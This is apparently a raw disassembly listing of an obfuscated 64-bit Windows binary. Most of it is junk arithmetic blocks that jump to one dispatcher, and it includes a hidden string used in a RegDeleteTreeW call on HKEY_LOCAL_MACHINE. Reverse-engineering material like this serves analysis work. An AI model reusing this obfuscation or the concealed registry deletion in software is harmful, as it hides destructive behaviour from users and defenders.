xor eax, 0xff9a7d83
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x813ba548
xor eax, 0x9af45199
rol eax, 0xcd
popf
pushf
not eax
add eax, 0x985cfc1d
xor eax, 0xb8aecf95
rol eax, 0x37
popf
jmp 0x14026ffde
movzx eax, byte [rbx + rcx]
xor rdi, rax
imul rdi, r8
inc rbx
cmp rbx, rdx
jb 0x140271524
push rax
pushf
mov eax, 0xc1fc5407
pushf
not eax
add eax, 0xe1c8c4ae
xor eax, 0xf75145c0
rol eax, 0xe
popf
pushf
not eax
add eax, 0x89887831
xor eax, 0xbc2ebe03
rol eax, 0xc1
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xf69d9304
pushf
not eax
add eax, 0xa48d5f4a
xor eax, 0xae214eb2
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x9c1f1f76
xor eax, 0xe5f090c8
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9b9b5755
xor eax, 0x9a5b034a
rol eax, 0x33
popf
pushf
not eax
add eax, 0xf5e35214
xor eax, 0x968ceeb0
rol eax, 0xbd
popf
jmp 0x14026ffde
mov r9, rdi
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x50]
mov rbx, qword [rbp + 0x48]
mov rcx, rbx
call fcn.140255f0b
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1402715d0
push rax
pushf
mov eax, 0x26450f83
pushf
not eax
add eax, 0x960f7a41
xor eax, 0xf33aab90
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x87200a9f
xor eax, 0xd16c6c86
rol eax, 0x85
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xe7232daa
pushf
not eax
add eax, 0xa82784d3
xor eax, 0xaf5d7610
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xbd659bce
xor eax, 0x9df2d2c4
rol eax, 0xc6
popf
jmp 0x14026ffde
cmp rdx, qword [rbx + 8]
je 0x14027164f
push rax
pushf
mov eax, 0x5a69696e
pushf
not eax
add eax, 0xc3145ae2
xor eax, 0xb15903ac
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xcee19d3d
xor eax, 0x8f01435c
rol eax, 0xf
popf
pushf
not eax
add eax, 0xdf6f6cfe
xor eax, 0x95fe7375
rol eax, 0x19
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x524f0212
pushf
not eax
add eax, 0xb72085bc
xor eax, 0x92b423c0
rol eax, 0x46
popf
pushf
not eax
add eax, 0xa7fb96c3
xor eax, 0x834ffe4b
rol eax, 0x77
popf
pushf
not eax
add eax, 0xca0c4ee7
xor eax, 0xad9993b6
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xa5114858
xor eax, 0xbd789edd
rol eax, 0x37
popf
jmp 0x14026ffde
mov rbx, qword [rdx + 0x30]
mov rcx, r12
jmp 0x1402716b0
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x140271701
push rax
pushf
mov eax, 0x7e4ae056
pushf
not eax
add eax, 0xdcaf50c1
xor eax, 0xae0210da
rol eax, 0x38
popf
pushf
not eax
add eax, 0xd62d71aa
xor eax, 0xe39ec3f1
rol eax, 0xae
popf
pushf
not eax
add eax, 0x8f84514e
xor eax, 0x9d561f95
rol eax, 0x9f
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x878d344e
pushf
not eax
add eax, 0xcd9fbea7
xor eax, 0xc56bca03
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xd4662c61
xor eax, 0xf849225e
rol eax, 0x93
popf
jmp 0x14026ffde
lea rcx, [rbp + 0x60]
jmp 0x140271739
call rbx
mov ebx, eax
jmp 0x140271860
mov rcx, r12
jmp 0x14027179f
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push rax
pushf
mov eax, 0x20f6fa46
pushf
not eax
add eax, 0x9ad5cdfc
xor eax, 0x86439230
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xbf9f0c52
xor eax, 0xd542dc55
rol eax, 0xcd
popf
jmp 0x14026ffde
mov ebx, 0x8cd7af5e
pushf
not ebx
add ebx, 0xcfe40fb8
xor ebx, 0xfd3d5199
rol ebx, 0xf2
popf
pushf
not ebx
add ebx, 0xbea02690
xor ebx, 0xf7d31dcb
rol ebx, 0x72
popf
push rax
pushf
mov eax, 0xb06c94db
pushf
not eax
add eax, 0x82d8acef
xor eax, 0xfae9b438
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xd12419f8
xor eax, 0xd48751c1
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xe4a633da
xor eax, 0xf7637410
rol eax, 0xc
popf
pushf
not eax
add eax, 0xe2bfe2e6
xor eax, 0x9ecc6e0a
rol eax, 0xbd
popf
jmp 0x14026ffde
cmp r13, 0x10
jb 0x1402718bf
push rax
pushf
mov eax, 0x589bce46
pushf
not eax
add eax, 0x9597a2da
xor eax, 0xbf30c4d3
rol eax, 0x32
popf
pushf
not eax
add eax, 0xfb4fc864
xor eax, 0xa90fd29c
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf568495b
xor eax, 0x82ca0de7
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x895c9ea4
xor eax, 0xc7e311b3
rol eax, 0xa1
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xf9182602
pushf
not eax
add eax, 0x904dd074
xor eax, 0xe9d475e7
rol eax, 0x33
popf
pushf
not eax
add eax, 0xc85d4217
xor eax, 0xcb974b08
rol eax, 0xef
popf
jmp 0x14026ffde
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14027195b
push rax
pushf
mov eax, 0x22ad20ee
pushf
not eax
add eax, 0xa1659dee
xor eax, 0xcc4f0b0b
rol eax, 0x51
popf
pushf
not eax
add eax, 0xe76b8bad
xor eax, 0xb91d1761
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xedfada37
xor eax, 0x9fe6e3ae
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xdfa81f65
xor eax, 0x80bad709
rol eax, 0x74
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x492ef172
pushf
not eax
add eax, 0xfa1964a8
xor eax, 0xd68aa076
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xb26d2817
xor eax, 0xa5cf75af
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xc909e7e1
xor eax, 0xcd565703
rol eax, 0x84
popf
jmp 0x14026ffde
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140271a00
push rax
pushf
mov eax, 0x9eac963d
pushf
not eax
add eax, 0xde880aaa
xor eax, 0xa7345be9
rol eax, 0xff
popf
pushf
not eax
add eax, 0xdab4dd1d
xor eax, 0xf1b4d52b
rol eax, 0x10
popf
pushf
not eax
add eax, 0x969490da
xor eax, 0xe6229151
rol eax, 4
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xb1e3e58e
pushf
not eax
add eax, 0xd1cc1c3f
xor eax, 0xa1c4d9e7
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xad3f3bf3
xor eax, 0xe328c447
rol eax, 0xe8
popf
jmp 0x14026ffde
mov rcx, r14
call fcn.14021a52b
push rax
pushf
mov eax, 0x4d83ba1c
pushf
not eax
add eax, 0xff7ec154
xor eax, 0xace45d52
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xbb70a2ee
xor eax, 0x9bd63dd0
rol eax, 0xa
popf
jmp 0x14026ffde
mov rax, qword [rsi + 0x10]
sub r15, rax
cmp r15, 0x22
jb 0x140271ac5
push rax
pushf
mov eax, 0x74c3edf5
pushf
not eax
add eax, 0x81914c87
xor eax, 0x8bb3beb6
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xf5266071
xor eax, 0xc7cd4e16
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xa1a3a0b9
xor eax, 0xb416aede
rol eax, 0x62
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x8b8e3c9c
pushf
not eax
add eax, 0xa731f0fb
xor eax, 0x954595d3
rol eax, 0x85
popf
pushf
not eax
add eax, 0xaf8e78c7
xor eax, 0xd2ca5015
rol eax, 0x79
popf
jmp 0x14026ffde
cmp qword [rsi + 0x18], 8
jb 0x140271b45
push rax
pushf
mov eax, 0xf672c2be
pushf
not eax
add eax, 0xfb41e8d2
xor eax, 0xa978a34c
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xe319eea7
xor eax, 0xf75bc26c
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xd75a21a5
xor eax, 0xe10d7c59
rol eax, 0xb7
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x6609517
pushf
not eax
add eax, 0xabc1f1cf
xor eax, 0xa8f9b842
rol eax, 0x41
popf
pushf
not eax
add eax, 0xff27271d
xor eax, 0xc343ab07
rol eax, 0x72
popf
pushf
not eax
add eax, 0xc4e76020
xor eax, 0x8d18804f
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xb99eddce
xor eax, 0x8b192d6a
rol eax, 0x60
popf
jmp 0x14026ffde
mov rsi, qword [rsi]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0x22
lea r9, [0x19cf85920]
pushf
sub r9, 0x5ce8dbb0
popf
lea rcx, [rbp + 0x28]
call fcn.1401d5a49
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 8
cmovae rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000002
jmp 0x140271be5
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x140271c4e
push rax
pushf
mov eax, 0xa20b60a8
pushf
not eax
add eax, 0xfc5f18cf
xor eax, 0xc1f336ce
rol eax, 0x28
popf
pushf
not eax
add eax, 0x9a30cb63
xor eax, 0xb1aeb55e
rol eax, 0xd
popf
pushf
not eax
add eax, 0xa2121a55
xor eax, 0xfeba2d19
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xd898917a
xor eax, 0xb373330b
rol eax, 0x36
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xd85e1144
pushf
not eax
add eax, 0xe022c20c
xor eax, 0x9a04ef74
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x9d9a1d86
xor eax, 0xcf231c4b
rol eax, 0x7f
popf
jmp 0x14026ffde
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140271cdf
push rax
pushf
mov eax, 0xb12dbcc4
pushf
not eax
add eax, 0xac4c5dd5
xor eax, 0xf9de5eb1
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xe3172665
xor eax, 0xc7f3a56a
rol eax, 0x15
popf
pushf
not eax
add eax, 0xf22fc27b
xor eax, 0xa92d55aa
rol eax, 0xd5
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x51de9878
pushf
not eax
add eax, 0xfaa61204
xor eax, 0x95bfe095
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xa735eaa9
xor eax, 0xde43fec1
rol eax, 0xe0
popf
jmp 0x14026ffde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140271d71
push rax
pushf
mov eax, 0xfe456023
pushf
not eax
add eax, 0x9abca28b
xor eax, 0xe2e6295d
rol eax, 0x52
popf
pushf
not eax
add eax, 0x8ab312cf
xor eax, 0x9b6e74e5
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x9fee02f5
xor eax, 0xb612e7ea
rol eax, 0x82
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x159f660f
pushf
not eax
add eax, 0xb52caef1
xor eax, 0xcdc398a0
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xa0846c7a
xor eax, 0x9b39c138
rol eax, 0xd4
popf
jmp 0x14026ffde
call fcn.14021a52b
nop
push rax
pushf
mov eax, 0xedb6f72a
pushf
not eax
add eax, 0xddd9b278
xor eax, 0xc84ca03b
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xcb011f9e
xor eax, 0xe949b597
rol eax, 0xfa
popf
jmp 0x14026ffde
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x140271e43
push rax
pushf
mov eax, 0x345d0895
pushf
not eax
add eax, 0xb432fa99
xor eax, 0xab3e45f3
rol eax, 0x12
popf
pushf
not eax
add eax, 0xc2af24d0
xor eax, 0xdae274f6
rol eax, 0xca
popf
pushf
not eax
add eax, 0xc35d6b85
xor eax, 0x90cf8565
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xdd18455a
xor eax, 0xc5945d46
rol eax, 0xd4
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0xdd879104
pushf
not eax
add eax, 0xf31ea31b
xor eax, 0xb7805f52
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x9122a962
xor eax, 0xfba5114c
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xa1319b14
xor eax, 0xe45fc1c2
rol eax, 0x28
popf
jmp 0x14026ffde
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140271ed4
push rax
pushf
mov eax, 0xd53ecbbf
pushf
not eax
add eax, 0xd84c2a2b
xor eax, 0xc9df89f9
rol eax, 0x86
popf
pushf
not eax
add eax, 0xace97129
xor eax, 0xf8278c76
rol eax, 0xf1
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x3b8ed625
pushf
not eax
add eax, 0x97d466a4
xor eax, 0xe1924022
rol eax, 0x16
popf
pushf
not eax
add eax, 0xda79f700
xor eax, 0xc348110b
rol eax, 0xb4
popf
jmp 0x14026ffde
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140271f75
push rax
pushf
mov eax, 0xced3d5ab
pushf
not eax
add eax, 0x8fd3f99a
xor eax, 0x804d4ec4
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xc4c3118b
xor eax, 0x88ecb71e
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xfb4e2a67
xor eax, 0xfe3112fb
rol eax, 0x57
popf
pushf
not eax
add eax, 0xc6165284
xor eax, 0xc9a1fd63
rol eax, 0x9a
popf
jmp 0x14026ffde
push rax
pushf
mov eax, 0x177c71c0
pushf
not eax
add eax, 0xd3c92672
xor eax, 0x8c2ffa70
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xbad42815
xor eax, 0xebc7367f
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xe7e464ec
xor eax, 0xb5bbf93c
rol eax, 0xb7
popf
jmp 0x14026ffde
call fcn.14021a52b
push rax
pushf
mov eax, 0x2efc9c37
pushf
not eax
add eax, 0xb3744f83
xor eax, 0xfcfbcedb
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x86abf1b6
xor eax, 0xfc89e512
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xc4e2babc
xor eax, 0xd6e3838d
rol eax, 0xa2
popf
jmp 0x14026ffde
mov eax, ebx
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.1402ac965
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401f095d
int3
call fcn.1402aff10
nop
push rax
pushf
mov eax, 0x2af979fb
pushf
not eax
add eax, 0x8cf4724e
xor eax, 0xb53a3c32
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xc364d62f
xor eax, 0xb61893e8
rol eax, 0x17
popf
jmp 0x14026ffde
call fcn.1401f095d
nop
push rax
pushf
mov eax, 0xe244e7b3
pushf
not eax
add eax, 0xbf26c753
xor eax, 0xeb6ae533
rol eax, 0xe
popf
pushf
not eax
add eax, 0xc4bcbb86
xor eax, 0x932eed7c
rol eax, 0x56
popf
pushf
not eax
add eax, 0x8049a66b
xor eax, 0xf070569a
rol eax, 0xa6
popf
jmp 0x14026ffde
call fcn.1402aff10
int3
call fcn.1401f095d
int3